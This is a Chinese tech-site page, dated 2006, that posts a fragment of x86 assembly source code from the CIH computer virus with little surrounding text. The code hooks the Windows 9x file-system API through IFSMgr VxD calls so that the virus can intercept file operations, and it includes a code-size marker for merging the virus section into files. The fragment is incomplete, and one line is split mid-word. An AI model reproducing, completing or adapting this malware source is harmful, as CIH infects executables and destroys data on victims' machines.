CIH源代码

http://tech.ddvip.com   2006年04月03日    社区交流 收藏本文

本文详细介绍CIH源代码

  ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

  cli

  jmp ExitRing0Init

  ; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

  CodeSizeOfMergeVirusCodeSection = offset $

  ; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

  InstallFileSystemApiHook:
push ebx

  call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;

  push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax

  ; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

  push eax

  ; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

  mov dr0, eax ; Adjust OldFileSystemApiHook A
ress

  pop eax

  pop ebx

  ret

  ; *********************************************************
; * Static Data *
; *********************************************************

责编:豆豆技术应用

正在加载评论...